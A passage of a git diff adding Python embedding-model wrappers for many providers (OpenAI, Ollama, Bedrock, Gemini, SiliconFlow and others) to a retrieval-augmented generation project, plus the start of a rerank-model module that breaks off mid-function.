Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import os +import re +import threading +from abc import ABC +from urllib.parse import urljoin + +import dashscope +import google.generativeai as genai +import numpy as np +import requests +from huggingface_hub import snapshot_download +from ollama import Client +from openai import OpenAI +from zhipuai import ZhipuAI + +from api import settings +from api.utils.file_utils import get_home_cache_dir +from api.utils.log_utils import log_exception +from rag.utils import num_tokens_from_string, truncate + + +class Base(ABC): + def __init__(self, key, model_name, **kwargs): + """ + Constructor for abstract base class. + Parameters are accepted for interface consistency but are not stored. + Subclasses should implement their own initialization as needed. + """ + pass + + def encode(self, texts: list): + raise NotImplementedError("Please implement encode method!") + + def encode_queries(self, text: str): + raise NotImplementedError("Please implement encode method!") + + def total_token_count(self, resp): + try: + return resp.usage.total_tokens + except Exception: + pass + try: + return resp["usage"]["total_tokens"] + except Exception: + pass + return 0 + + +class DefaultEmbedding(Base): + _FACTORY_NAME = "BAAI" + _model = None + _model_name = "" + _model_lock = threading.Lock() + + def __init__(self, key, model_name, **kwargs): + """ + If you have trouble downloading HuggingFace models, -_^ this might help!! + + For Linux: + export HF_ENDPOINT=https://hf-mirror.com + + For Windows: + Good luck + ^_- + + """ + if not settings.LIGHTEN: + input_cuda_visible_devices = None + with DefaultEmbedding._model_lock: + import torch + from FlagEmbedding import FlagModel + + if "CUDA_VISIBLE_DEVICES" in os.environ: + input_cuda_visible_devices = os.environ["CUDA_VISIBLE_DEVICES"] + os.environ["CUDA_VISIBLE_DEVICES"] = "0" # handle some issues with multiple GPUs when initializing the model + + if not DefaultEmbedding._model or model_name != DefaultEmbedding._model_name: + try: + DefaultEmbedding._model = FlagModel( + os.path.join(get_home_cache_dir(), re.sub(r"^[a-zA-Z0-9]+/", "", model_name)), + query_instruction_for_retrieval="为这个句子生成表示以用于检索相关文章：", + use_fp16=torch.cuda.is_available(), + ) + DefaultEmbedding._model_name = model_name + except Exception: + model_dir = snapshot_download( + repo_id="BAAI/bge-large-zh-v1.5", local_dir=os.path.join(get_home_cache_dir(), re.sub(r"^[a-zA-Z0-9]+/", "", model_name)), local_dir_use_symlinks=False + ) + DefaultEmbedding._model = FlagModel(model_dir, query_instruction_for_retrieval="为这个句子生成表示以用于检索相关文章：", use_fp16=torch.cuda.is_available()) + finally: + if input_cuda_visible_devices: + # restore CUDA_VISIBLE_DEVICES + os.environ["CUDA_VISIBLE_DEVICES"] = input_cuda_visible_devices + self._model = DefaultEmbedding._model + self._model_name = DefaultEmbedding._model_name + + def encode(self, texts: list): + batch_size = 16 + texts = [truncate(t, 2048) for t in texts] + token_count = 0 + for t in texts: + token_count += num_tokens_from_string(t) + ress = None + for i in range(0, len(texts), batch_size): + if ress is None: + ress = self._model.encode(texts[i : i + batch_size], convert_to_numpy=True) + else: + ress = np.concatenate((ress, self._model.encode(texts[i : i + batch_size], convert_to_numpy=True)), axis=0) + return ress, token_count + + def encode_queries(self, text: str): + token_count = num_tokens_from_string(text) + return self._model.encode_queries([text], convert_to_numpy=False)[0][0].cpu().numpy(), token_count + + +class OpenAIEmbed(Base): + _FACTORY_NAME = "OpenAI" + + def __init__(self, key, model_name="text-embedding-ada-002", base_url="https://api.openai.com/v1"): + if not base_url: + base_url = "https://api.openai.com/v1" + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + + def encode(self, texts: list): + # OpenAI requires batch size <=16 + batch_size = 16 + texts = [truncate(t, 8191) for t in texts] + ress = [] + total_tokens = 0 + for i in range(0, len(texts), batch_size): + res = self.client.embeddings.create(input=texts[i : i + batch_size], model=self.model_name, encoding_format="float", extra_body={"drop_params": True}) + try: + ress.extend([d.embedding for d in res.data]) + total_tokens += self.total_token_count(res) + except Exception as _e: + log_exception(_e, res) + return np.array(ress), total_tokens + + def encode_queries(self, text): + res = self.client.embeddings.create(input=[truncate(text, 8191)], model=self.model_name, encoding_format="float",extra_body={"drop_params": True}) + return np.array(res.data[0].embedding), self.total_token_count(res) + + +class LocalAIEmbed(Base): + _FACTORY_NAME = "LocalAI" + + def __init__(self, key, model_name, base_url): + if not base_url: + raise ValueError("Local embedding model url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key="empty", base_url=base_url) + self.model_name = model_name.split("___")[0] + + def encode(self, texts: list): + batch_size = 16 + ress = [] + for i in range(0, len(texts), batch_size): + res = self.client.embeddings.create(input=texts[i : i + batch_size], model=self.model_name) + try: + ress.extend([d.embedding for d in res.data]) + except Exception as _e: + log_exception(_e, res) + # local embedding for LmStudio donot count tokens + return np.array(ress), 1024 + + def encode_queries(self, text): + embds, cnt = self.encode([text]) + return np.array(embds[0]), cnt + + +class AzureEmbed(OpenAIEmbed): + _FACTORY_NAME = "Azure-OpenAI" + + def __init__(self, key, model_name, **kwargs): + from openai.lib.azure import AzureOpenAI + + api_key = json.loads(key).get("api_key", "") + api_version = json.loads(key).get("api_version", "2024-02-01") + self.client = AzureOpenAI(api_key=api_key, azure_endpoint=kwargs["base_url"], api_version=api_version) + self.model_name = model_name + + +class BaiChuanEmbed(OpenAIEmbed): + _FACTORY_NAME = "BaiChuan" + + def __init__(self, key, model_name="Baichuan-Text-Embedding", base_url="https://api.baichuan-ai.com/v1"): + if not base_url: + base_url = "https://api.baichuan-ai.com/v1" + super().__init__(key, model_name, base_url) + + +class QWenEmbed(Base): + _FACTORY_NAME = "Tongyi-Qianwen" + + def __init__(self, key, model_name="text_embedding_v2", **kwargs): + self.key = key + self.model_name = model_name + + def encode(self, texts: list): + import time + + import dashscope + + batch_size = 4 + res = [] + token_count = 0 + texts = [truncate(t, 2048) for t in texts] + for i in range(0, len(texts), batch_size): + retry_max = 5 + resp = dashscope.TextEmbedding.call(model=self.model_name, input=texts[i : i + batch_size], api_key=self.key, text_type="document") + while (resp["output"] is None or resp["output"].get("embeddings") is None) and retry_max > 0: + time.sleep(10) + resp = dashscope.TextEmbedding.call(model=self.model_name, input=texts[i : i + batch_size], api_key=self.key, text_type="document") + retry_max -= 1 + if retry_max == 0 and (resp["output"] is None or resp["output"].get("embeddings") is None): + if resp.get("message"): + log_exception(ValueError(f"Retry_max reached, calling embedding model failed: {resp['message']}")) + else: + log_exception(ValueError("Retry_max reached, calling embedding model failed")) + raise + try: + embds = [[] for _ in range(len(resp["output"]["embeddings"]))] + for e in resp["output"]["embeddings"]: + embds[e["text_index"]] = e["embedding"] + res.extend(embds) + token_count += self.total_token_count(resp) + except Exception as _e: + log_exception(_e, resp) + raise + return np.array(res), token_count + + def encode_queries(self, text): + resp = dashscope.TextEmbedding.call(model=self.model_name, input=text[:2048], api_key=self.key, text_type="query") + try: + return np.array(resp["output"]["embeddings"][0]["embedding"]), self.total_token_count(resp) + except Exception as _e: + log_exception(_e, resp) + + +class ZhipuEmbed(Base): + _FACTORY_NAME = "ZHIPU-AI" + + def __init__(self, key, model_name="embedding-2", **kwargs): + self.client = ZhipuAI(api_key=key) + self.model_name = model_name + + def encode(self, texts: list): + arr = [] + tks_num = 0 + MAX_LEN = -1 + if self.model_name.lower() == "embedding-2": + MAX_LEN = 512 + if self.model_name.lower() == "embedding-3": + MAX_LEN = 3072 + if MAX_LEN > 0: + texts = [truncate(t, MAX_LEN) for t in texts] + + for txt in texts: + res = self.client.embeddings.create(input=txt, model=self.model_name) + try: + arr.append(res.data[0].embedding) + tks_num += self.total_token_count(res) + except Exception as _e: + log_exception(_e, res) + return np.array(arr), tks_num + + def encode_queries(self, text): + res = self.client.embeddings.create(input=text, model=self.model_name) + try: + return np.array(res.data[0].embedding), self.total_token_count(res) + except Exception as _e: + log_exception(_e, res) + + +class OllamaEmbed(Base): + _FACTORY_NAME = "Ollama" + + _special_tokens = ["<|endoftext|>"] + + def __init__(self, key, model_name, **kwargs): + self.client = Client(host=kwargs["base_url"]) if not key or key == "x" else Client(host=kwargs["base_url"], headers={"Authorization": f"Bearer {key}"}) + self.model_name = model_name + self.keep_alive = kwargs.get("ollama_keep_alive", int(os.environ.get("OLLAMA_KEEP_ALIVE", -1))) + + def encode(self, texts: list): + arr = [] + tks_num = 0 + for txt in texts: + # remove special tokens if they exist base on regex in one request + for token in OllamaEmbed._special_tokens: + txt = txt.replace(token, "") + res = self.client.embeddings(prompt=txt, model=self.model_name, options={"use_mmap": True}, keep_alive=self.keep_alive) + try: + arr.append(res["embedding"]) + except Exception as _e: + log_exception(_e, res) + tks_num += 128 + return np.array(arr), tks_num + + def encode_queries(self, text): + # remove special tokens if they exist + for token in OllamaEmbed._special_tokens: + text = text.replace(token, "") + res = self.client.embeddings(prompt=text, model=self.model_name, options={"use_mmap": True}, keep_alive=self.keep_alive) + try: + return np.array(res["embedding"]), 128 + except Exception as _e: + log_exception(_e, res) + + +class FastEmbed(DefaultEmbedding): + _FACTORY_NAME = "FastEmbed" + + def __init__( + self, + key: str | None = None, + model_name: str = "BAAI/bge-small-en-v1.5", + cache_dir: str | None = None, + threads: int | None = None, + **kwargs, + ): + if not settings.LIGHTEN: + with FastEmbed._model_lock: + from fastembed import TextEmbedding + + if not DefaultEmbedding._model or model_name != DefaultEmbedding._model_name: + try: + DefaultEmbedding._model = TextEmbedding(model_name, cache_dir, threads, **kwargs) + DefaultEmbedding._model_name = model_name + except Exception: + cache_dir = snapshot_download( + repo_id="BAAI/bge-small-en-v1.5", local_dir=os.path.join(get_home_cache_dir(), re.sub(r"^[a-zA-Z0-9]+/", "", model_name)), local_dir_use_symlinks=False + ) + DefaultEmbedding._model = TextEmbedding(model_name, cache_dir, threads, **kwargs) + self._model = DefaultEmbedding._model + self._model_name = model_name + + def encode(self, texts: list): + # Using the internal tokenizer to encode the texts and get the total + # number of tokens + encodings = self._model.model.tokenizer.encode_batch(texts) + total_tokens = sum(len(e) for e in encodings) + + embeddings = [e.tolist() for e in self._model.embed(texts, batch_size=16)] + + return np.array(embeddings), total_tokens + + def encode_queries(self, text: str): + # Using the internal tokenizer to encode the texts and get the total + # number of tokens + encoding = self._model.model.tokenizer.encode(text) + embedding = next(self._model.query_embed(text)) + return np.array(embedding), len(encoding.ids) + + +class XinferenceEmbed(Base): + _FACTORY_NAME = "Xinference" + + def __init__(self, key, model_name="", base_url=""): + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + + def encode(self, texts: list): + batch_size = 16 + ress = [] + total_tokens = 0 + for i in range(0, len(texts), batch_size): + res = None + try: + res = self.client.embeddings.create(input=texts[i : i + batch_size], model=self.model_name) + ress.extend([d.embedding for d in res.data]) + total_tokens += self.total_token_count(res) + except Exception as _e: + log_exception(_e, res) + return np.array(ress), total_tokens + + def encode_queries(self, text): + res = None + try: + res = self.client.embeddings.create(input=[text], model=self.model_name) + return np.array(res.data[0].embedding), self.total_token_count(res) + except Exception as _e: + log_exception(_e, res) + + +class YoudaoEmbed(Base): + _FACTORY_NAME = "Youdao" + _client = None + + def __init__(self, key=None, model_name="maidalun1020/bce-embedding-base_v1", **kwargs): + if not settings.LIGHTEN and not YoudaoEmbed._client: + from BCEmbedding import EmbeddingModel as qanthing + + try: + logging.info("LOADING BCE...") + YoudaoEmbed._client = qanthing(model_name_or_path=os.path.join(get_home_cache_dir(), "bce-embedding-base_v1")) + except Exception: + YoudaoEmbed._client = qanthing(model_name_or_path=model_name.replace("maidalun1020", "InfiniFlow")) + + def encode(self, texts: list): + batch_size = 10 + res = [] + token_count = 0 + for t in texts: + token_count += num_tokens_from_string(t) + for i in range(0, len(texts), batch_size): + embds = YoudaoEmbed._client.encode(texts[i : i + batch_size]) + res.extend(embds) + return np.array(res), token_count + + def encode_queries(self, text): + embds = YoudaoEmbed._client.encode([text]) + return np.array(embds[0]), num_tokens_from_string(text) + + +class JinaEmbed(Base): + _FACTORY_NAME = "Jina" + + def __init__(self, key, model_name="jina-embeddings-v3", base_url="https://api.jina.ai/v1/embeddings"): + self.base_url = "https://api.jina.ai/v1/embeddings" + self.headers = {"Content-Type": "application/json", "Authorization": f"Bearer {key}"} + self.model_name = model_name + + def encode(self, texts: list): + texts = [truncate(t, 8196) for t in texts] + batch_size = 16 + ress = [] + token_count = 0 + for i in range(0, len(texts), batch_size): + data = {"model": self.model_name, "input": texts[i : i + batch_size], "encoding_type": "float"} + response = requests.post(self.base_url, headers=self.headers, json=data) + try: + res = response.json() + ress.extend([d["embedding"] for d in res["data"]]) + token_count += self.total_token_count(res) + except Exception as _e: + log_exception(_e, response) + return np.array(ress), token_count + + def encode_queries(self, text): + embds, cnt = self.encode([text]) + return np.array(embds[0]), cnt + + +class MistralEmbed(Base): + _FACTORY_NAME = "Mistral" + + def __init__(self, key, model_name="mistral-embed", base_url=None): + from mistralai.client import MistralClient + + self.client = MistralClient(api_key=key) + self.model_name = model_name + + def encode(self, texts: list): + import time + import random + + texts = [truncate(t, 8196) for t in texts] + batch_size = 16 + ress = [] + token_count = 0 + for i in range(0, len(texts), batch_size): + retry_max = 5 + while retry_max > 0: + try: + res = self.client.embeddings(input=texts[i : i + batch_size], model=self.model_name) + ress.extend([d.embedding for d in res.data]) + token_count += self.total_token_count(res) + break + except Exception as _e: + if retry_max == 1: + log_exception(_e) + delay = random.uniform(20, 60) + time.sleep(delay) + retry_max -= 1 + return np.array(ress), token_count + + def encode_queries(self, text): + import time + import random + retry_max = 5 + while retry_max > 0: + try: + res = self.client.embeddings(input=[truncate(text, 8196)], model=self.model_name) + return np.array(res.data[0].embedding), self.total_token_count(res) + except Exception as _e: + if retry_max == 1: + log_exception(_e) + delay = random.randint(20, 60) + time.sleep(delay) + retry_max -= 1 + + +class BedrockEmbed(Base): + _FACTORY_NAME = "Bedrock" + + def __init__(self, key, model_name, **kwargs): + import boto3 + + self.bedrock_ak = json.loads(key).get("bedrock_ak", "") + self.bedrock_sk = json.loads(key).get("bedrock_sk", "") + self.bedrock_region = json.loads(key).get("bedrock_region", "") + self.model_name = model_name + self.is_amazon = self.model_name.split(".")[0] == "amazon" + self.is_cohere = self.model_name.split(".")[0] == "cohere" + + if self.bedrock_ak == "" or self.bedrock_sk == "" or self.bedrock_region == "": + # Try to create a client using the default credentials (AWS_PROFILE, AWS_DEFAULT_REGION, etc.) + self.client = boto3.client("bedrock-runtime") + else: + self.client = boto3.client(service_name="bedrock-runtime", region_name=self.bedrock_region, aws_access_key_id=self.bedrock_ak, aws_secret_access_key=self.bedrock_sk) + + def encode(self, texts: list): + texts = [truncate(t, 8196) for t in texts] + embeddings = [] + token_count = 0 + for text in texts: + if self.is_amazon: + body = {"inputText": text} + elif self.is_cohere: + body = {"texts": [text], "input_type": "search_document"} + + response = self.client.invoke_model(modelId=self.model_name, body=json.dumps(body)) + try: + model_response = json.loads(response["body"].read()) + embeddings.extend([model_response["embedding"]]) + token_count += num_tokens_from_string(text) + except Exception as _e: + log_exception(_e, response) + + return np.array(embeddings), token_count + + def encode_queries(self, text): + embeddings = [] + token_count = num_tokens_from_string(text) + if self.is_amazon: + body = {"inputText": truncate(text, 8196)} + elif self.is_cohere: + body = {"texts": [truncate(text, 8196)], "input_type": "search_query"} + + response = self.client.invoke_model(modelId=self.model_name, body=json.dumps(body)) + try: + model_response = json.loads(response["body"].read()) + embeddings.extend(model_response["embedding"]) + except Exception as _e: + log_exception(_e, response) + + return np.array(embeddings), token_count + + +class GeminiEmbed(Base): + _FACTORY_NAME = "Gemini" + + def __init__(self, key, model_name="models/text-embedding-004", **kwargs): + self.key = key + self.model_name = "models/" + model_name + + def encode(self, texts: list): + texts = [truncate(t, 2048) for t in texts] + token_count = sum(num_tokens_from_string(text) for text in texts) + genai.configure(api_key=self.key) + batch_size = 16 + ress = [] + for i in range(0, len(texts), batch_size): + result = genai.embed_content(model=self.model_name, content=texts[i : i + batch_size], task_type="retrieval_document", title="Embedding of single string") + try: + ress.extend(result["embedding"]) + except Exception as _e: + log_exception(_e, result) + return np.array(ress), token_count + + def encode_queries(self, text): + genai.configure(api_key=self.key) + result = genai.embed_content(model=self.model_name, content=truncate(text, 2048), task_type="retrieval_document", title="Embedding of single string") + token_count = num_tokens_from_string(text) + try: + return np.array(result["embedding"]), token_count + except Exception as _e: + log_exception(_e, result) + + +class NvidiaEmbed(Base): + _FACTORY_NAME = "NVIDIA" + + def __init__(self, key, model_name, base_url="https://integrate.api.nvidia.com/v1/embeddings"): + if not base_url: + base_url = "https://integrate.api.nvidia.com/v1/embeddings" + self.api_key = key + self.base_url = base_url + self.headers = { + "accept": "application/json", + "Content-Type": "application/json", + "authorization": f"Bearer {self.api_key}", + } + self.model_name = model_name + if model_name == "nvidia/embed-qa-4": + self.base_url = "https://ai.api.nvidia.com/v1/retrieval/nvidia/embeddings" + self.model_name = "NV-Embed-QA" + if model_name == "snowflake/arctic-embed-l": + self.base_url = "https://ai.api.nvidia.com/v1/retrieval/snowflake/arctic-embed-l/embeddings" + + def encode(self, texts: list): + batch_size = 16 + ress = [] + token_count = 0 + for i in range(0, len(texts), batch_size): + payload = { + "input": texts[i : i + batch_size], + "input_type": "query", + "model": self.model_name, + "encoding_format": "float", + "truncate": "END", + } + response = requests.post(self.base_url, headers=self.headers, json=payload) + try: + res = response.json() + except Exception as _e: + log_exception(_e, response) + ress.extend([d["embedding"] for d in res["data"]]) + token_count += self.total_token_count(res) + return np.array(ress), token_count + + def encode_queries(self, text): + embds, cnt = self.encode([text]) + return np.array(embds[0]), cnt + + +class LmStudioEmbed(LocalAIEmbed): + _FACTORY_NAME = "LM-Studio" + + def __init__(self, key, model_name, base_url): + if not base_url: + raise ValueError("Local llm url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key="lm-studio", base_url=base_url) + self.model_name = model_name + + +class OpenAI_APIEmbed(OpenAIEmbed): + _FACTORY_NAME = ["VLLM", "OpenAI-API-Compatible"] + + def __init__(self, key, model_name, base_url): + if not base_url: + raise ValueError("url cannot be None") + base_url = urljoin(base_url, "v1") + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name.split("___")[0] + + +class CoHereEmbed(Base): + _FACTORY_NAME = "Cohere" + + def __init__(self, key, model_name, base_url=None): + from cohere import Client + + self.client = Client(api_key=key) + self.model_name = model_name + + def encode(self, texts: list): + batch_size = 16 + ress = [] + token_count = 0 + for i in range(0, len(texts), batch_size): + res = self.client.embed( + texts=texts[i : i + batch_size], + model=self.model_name, + input_type="search_document", + embedding_types=["float"], + ) + try: + ress.extend([d for d in res.embeddings.float]) + token_count += res.meta.billed_units.input_tokens + except Exception as _e: + log_exception(_e, res) + return np.array(ress), token_count + + def encode_queries(self, text): + res = self.client.embed( + texts=[text], + model=self.model_name, + input_type="search_query", + embedding_types=["float"], + ) + try: + return np.array(res.embeddings.float[0]), int(res.meta.billed_units.input_tokens) + except Exception as _e: + log_exception(_e, res) + + +class TogetherAIEmbed(OpenAIEmbed): + _FACTORY_NAME = "TogetherAI" + + def __init__(self, key, model_name, base_url="https://api.together.xyz/v1"): + if not base_url: + base_url = "https://api.together.xyz/v1" + super().__init__(key, model_name, base_url=base_url) + + +class PerfXCloudEmbed(OpenAIEmbed): + _FACTORY_NAME = "PerfXCloud" + + def __init__(self, key, model_name, base_url="https://cloud.perfxlab.cn/v1"): + if not base_url: + base_url = "https://cloud.perfxlab.cn/v1" + super().__init__(key, model_name, base_url) + + +class UpstageEmbed(OpenAIEmbed): + _FACTORY_NAME = "Upstage" + + def __init__(self, key, model_name, base_url="https://api.upstage.ai/v1/solar"): + if not base_url: + base_url = "https://api.upstage.ai/v1/solar" + super().__init__(key, model_name, base_url) + + +class SILICONFLOWEmbed(Base): + _FACTORY_NAME = "SILICONFLOW" + + def __init__(self, key, model_name, base_url="https://api.siliconflow.cn/v1/embeddings"): + if not base_url: + base_url = "https://api.siliconflow.cn/v1/embeddings" + self.headers = { + "accept": "application/json", + "content-type": "application/json", + "authorization": f"Bearer {key}", + } + self.base_url = base_url + self.model_name = model_name + + def encode(self, texts: list): + batch_size = 16 + ress = [] + token_count = 0 + for i in range(0, len(texts), batch_size): + texts_batch = texts[i : i + batch_size] + if self.model_name in ["BAAI/bge-large-zh-v1.5", "BAAI/bge-large-en-v1.5"]: + # limit 512, 340 is almost safe + texts_batch = [" " if not text.strip() else truncate(text, 256) for text in texts_batch] + else: + texts_batch = [" " if not text.strip() else text for text in texts_batch] + + payload = { + "model": self.model_name, + "input": texts_batch, + "encoding_format": "float", + } + response = requests.post(self.base_url, json=payload, headers=self.headers) + try: + res = response.json() + ress.extend([d["embedding"] for d in res["data"]]) + token_count += self.total_token_count(res) + except Exception as _e: + log_exception(_e, response) + + return np.array(ress), token_count + + def encode_queries(self, text): + payload = { + "model": self.model_name, + "input": text, + "encoding_format": "float", + } + response = requests.post(self.base_url, json=payload, headers=self.headers) + try: + res = response.json() + return np.array(res["data"][0]["embedding"]), self.total_token_count(res) + except Exception as _e: + log_exception(_e, response) + + +class ReplicateEmbed(Base): + _FACTORY_NAME = "Replicate" + + def __init__(self, key, model_name, base_url=None): + from replicate.client import Client + + self.model_name = model_name + self.client = Client(api_token=key) + + def encode(self, texts: list): + batch_size = 16 + token_count = sum([num_tokens_from_string(text) for text in texts]) + ress = [] + for i in range(0, len(texts), batch_size): + res = self.client.run(self.model_name, input={"texts": texts[i : i + batch_size]}) + ress.extend(res) + return np.array(ress), token_count + + def encode_queries(self, text): + res = self.client.embed(self.model_name, input={"texts": [text]}) + return np.array(res), num_tokens_from_string(text) + + +class BaiduYiyanEmbed(Base): + _FACTORY_NAME = "BaiduYiyan" + + def __init__(self, key, model_name, base_url=None): + import qianfan + + key = json.loads(key) + ak = key.get("yiyan_ak", "") + sk = key.get("yiyan_sk", "") + self.client = qianfan.Embedding(ak=ak, sk=sk) + self.model_name = model_name + + def encode(self, texts: list, batch_size=16): + res = self.client.do(model=self.model_name, texts=texts).body + try: + return ( + np.array([r["embedding"] for r in res["data"]]), + self.total_token_count(res), + ) + except Exception as _e: + log_exception(_e, res) + + def encode_queries(self, text): + res = self.client.do(model=self.model_name, texts=[text]).body + try: + return ( + np.array([r["embedding"] for r in res["data"]]), + self.total_token_count(res), + ) + except Exception as _e: + log_exception(_e, res) + + +class VoyageEmbed(Base): + _FACTORY_NAME = "Voyage AI" + + def __init__(self, key, model_name, base_url=None): + import voyageai + + self.client = voyageai.Client(api_key=key) + self.model_name = model_name + + def encode(self, texts: list): + batch_size = 16 + ress = [] + token_count = 0 + for i in range(0, len(texts), batch_size): + res = self.client.embed(texts=texts[i : i + batch_size], model=self.model_name, input_type="document") + try: + ress.extend(res.embeddings) + token_count += res.total_tokens + except Exception as _e: + log_exception(_e, res) + return np.array(ress), token_count + + def encode_queries(self, text): + res = self.client.embed(texts=text, model=self.model_name, input_type="query") + try: + return np.array(res.embeddings)[0], res.total_tokens + except Exception as _e: + log_exception(_e, res) + + +class HuggingFaceEmbed(Base): + _FACTORY_NAME = "HuggingFace" + + def __init__(self, key, model_name, base_url=None, **kwargs): + if not model_name: + raise ValueError("Model name cannot be None") + self.key = key + self.model_name = model_name.split("___")[0] + self.base_url = base_url or "http://127.0.0.1:8080" + + def encode(self, texts: list): + embeddings = [] + for text in texts: + response = requests.post(f"{self.base_url}/embed", json={"inputs": text}, headers={"Content-Type": "application/json"}) + if response.status_code == 200: + embedding = response.json() + embeddings.append(embedding[0]) + else: + raise Exception(f"Error: {response.status_code} - {response.text}") + return np.array(embeddings), sum([num_tokens_from_string(text) for text in texts]) + + def encode_queries(self, text): + response = requests.post(f"{self.base_url}/embed", json={"inputs": text}, headers={"Content-Type": "application/json"}) + if response.status_code == 200: + embedding = response.json() + return np.array(embedding[0]), num_tokens_from_string(text) + else: + raise Exception(f"Error: {response.status_code} - {response.text}") + + +class VolcEngineEmbed(OpenAIEmbed): + _FACTORY_NAME = "VolcEngine" + + def __init__(self, key, model_name, base_url="https://ark.cn-beijing.volces.com/api/v3"): + if not base_url: + base_url = "https://ark.cn-beijing.volces.com/api/v3" + ark_api_key = json.loads(key).get("ark_api_key", "") + model_name = json.loads(key).get("ep_id", "") + json.loads(key).get("endpoint_id", "") + super().__init__(ark_api_key, model_name, base_url) + + +class GPUStackEmbed(OpenAIEmbed): + _FACTORY_NAME = "GPUStack" + + def __init__(self, key, model_name, base_url): + if not base_url: + raise ValueError("url cannot be None") + base_url = urljoin(base_url, "v1") + + self.client = OpenAI(api_key=key, base_url=base_url) + self.model_name = model_name + + +class NovitaEmbed(SILICONFLOWEmbed): + _FACTORY_NAME = "NovitaAI" + + def __init__(self, key, model_name, base_url="https://api.novita.ai/v3/openai/embeddings"): + if not base_url: + base_url = "https://api.novita.ai/v3/openai/embeddings" + super().__init__(key, model_name, base_url) + + +class GiteeEmbed(SILICONFLOWEmbed): + _FACTORY_NAME = "GiteeAI" + + def __init__(self, key, model_name, base_url="https://ai.gitee.com/v1/embeddings"): + if not base_url: + base_url = "https://ai.gitee.com/v1/embeddings" + super().__init__(key, model_name, base_url) + +class DeepInfraEmbed(OpenAIEmbed): + _FACTORY_NAME = "DeepInfra" + + def __init__(self, key, model_name, base_url="https://api.deepinfra.com/v1/openai"): + if not base_url: + base_url = "https://api.deepinfra.com/v1/openai" + super().__init__(key, model_name, base_url) + + +class Ai302Embed(Base): + _FACTORY_NAME = "302.AI" + + def __init__(self, key, model_name, base_url="https://api.302.ai/v1/embeddings"): + if not base_url: + base_url = "https://api.302.ai/v1/embeddings" + super().__init__(key, model_name, base_url) + + +class CometAPIEmbed(OpenAIEmbed): + _FACTORY_NAME = "CometAPI" + + def __init__(self, key, model_name, base_url="https://api.cometapi.com/v1"): + if not base_url: + base_url = "https://api.cometapi.com/v1" + super().__init__(key, model_name, base_url) + +class DeerAPIEmbed(OpenAIEmbed): + _FACTORY_NAME = "DeerAPI" + + def __init__(self, key, model_name, base_url="https://api.deerapi.com/v1"): + if not base_url: + base_url = "https://api.deerapi.com/v1" + super().__init__(key, model_name, base_url) diff --git a/rag/llm/rerank_model.py b/rag/llm/rerank_model.py new file mode 100644 index 0000000..7256b04 --- /dev/null +++ b/rag/llm/rerank_model.py @@ -0,0 +1,625 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import os +import re +import threading +from abc import ABC +from collections.abc import Iterable +from urllib.parse import urljoin + +import httpx +import numpy as np +import requests +from huggingface_hub import snapshot_download +from yarl import URL + +from api import settings +from api.utils.file_utils import get_home_cache_dir +from api.utils.log_utils import log_exception +from rag.utils import num_tokens_from_string, truncate, total_token_count_from_response + +class Base(ABC): + def __init__(self, key, model_name, **kwargs): + """ + Abstract base class constructor. + Parameters are not stored; initialization is left to subclasses. + """ + pass + + def similarity(self, query: str, texts: list): + raise NotImplementedError("Please implement encode method!") + + def total_token_count(self, resp): + return total_token_count_from_response(resp) + + +class DefaultRerank(Base): + _FACTORY_NAME = "BAAI" + _model = None + _model_lock = threading.Lock() + + def __init__(self, key, model_name, **kwargs): + """ + If you have trouble downloading HuggingFace models, -_^ this might help!! + + For Linux: + export HF_ENDPOINT=https://hf-mirror.com + + For Windows: + Good luck + ^_- + + """ + if not settings.LIGHTEN and not DefaultRerank._model: + import torch + from FlagEmbedding import FlagReranker + + with DefaultRerank._model_lock: + if not DefaultRerank._model: + try: + DefaultRerank._model = FlagReranker(os.path.join(get_home_cache_dir(), re.sub(r"^[a-zA-Z0-9]+/", "", model_name)), use_fp16=torch.cuda.is_available()) + except Exception: + model_dir = snapshot_download(repo_id=model_name, local_dir=os.path.join(get_home_cache_dir(), re.sub(r"^[a-zA-Z0-9]+/", "", model_name)), local_dir_use_symlinks=False) + DefaultRerank._model = FlagReranker(model_dir, use_fp16=torch.cuda.is_available()) + self._model = DefaultRerank._model + self._dynamic_batch_size = 8 + self._min_batch_size = 1 + + def torch_empty_cache(self): + try: + import torch + + torch.cuda.empty_cache() + except Exception as e: + log_exception(e) + + def _process_batch(self, pairs, max_batch_size=None): + """template method for subclass call""" + old_dynamic_batch_size = self._dynamic_batch_size + if max_batch_size is not None: + self._dynamic_batch_size = max_batch_size + res = np.array(len(pairs), dtype=float) + i = 0 + while i < len(pairs): + cur_i = i + current_batch = self._dynamic_batch_size + max_retries = 5 + retry_count = 0 + while retry_count < max_retries: + try: + # call subclass implemented batch processing calculation + batch_scores = self._compute_batch_scores(pairs[i : i + current_batch]) + res[i : i + current_batch] = batch_scores + i += current_batch + self._dynamic_batch_size = min(self._dynamic_batch_size * 2, 8) + break + except RuntimeError as e: + if "CUDA out of memory" in str(e) and current_batch > self._min_batch_size: + current_batch = max(current_batch // 2, self._min_batch_size) + self.torch_empty_cache() + i = cur_i # reset i to the start of the current batch + retry_count += 1 + else: + raise + if retry_count >= max_retries: + raise RuntimeError("max retry times, still cannot process batch, please check your GPU memory") + + self.torch_empty_cache() + self._dynamic_batch_size = old_dynamic_batch_size + return np.array(res) + + def _compute_batch_scores(self, batch_pairs, max_length=None): + if max_length is None: + scores = self._model.compute_score(batch_pairs, normalize=True) + else: + scores = self._model.compute_score(batch_pairs, max_length=max_length, normalize=True) + if not isinstance(scores, Iterable): + scores = [scores] + return scores + + def similarity(self, query: str, 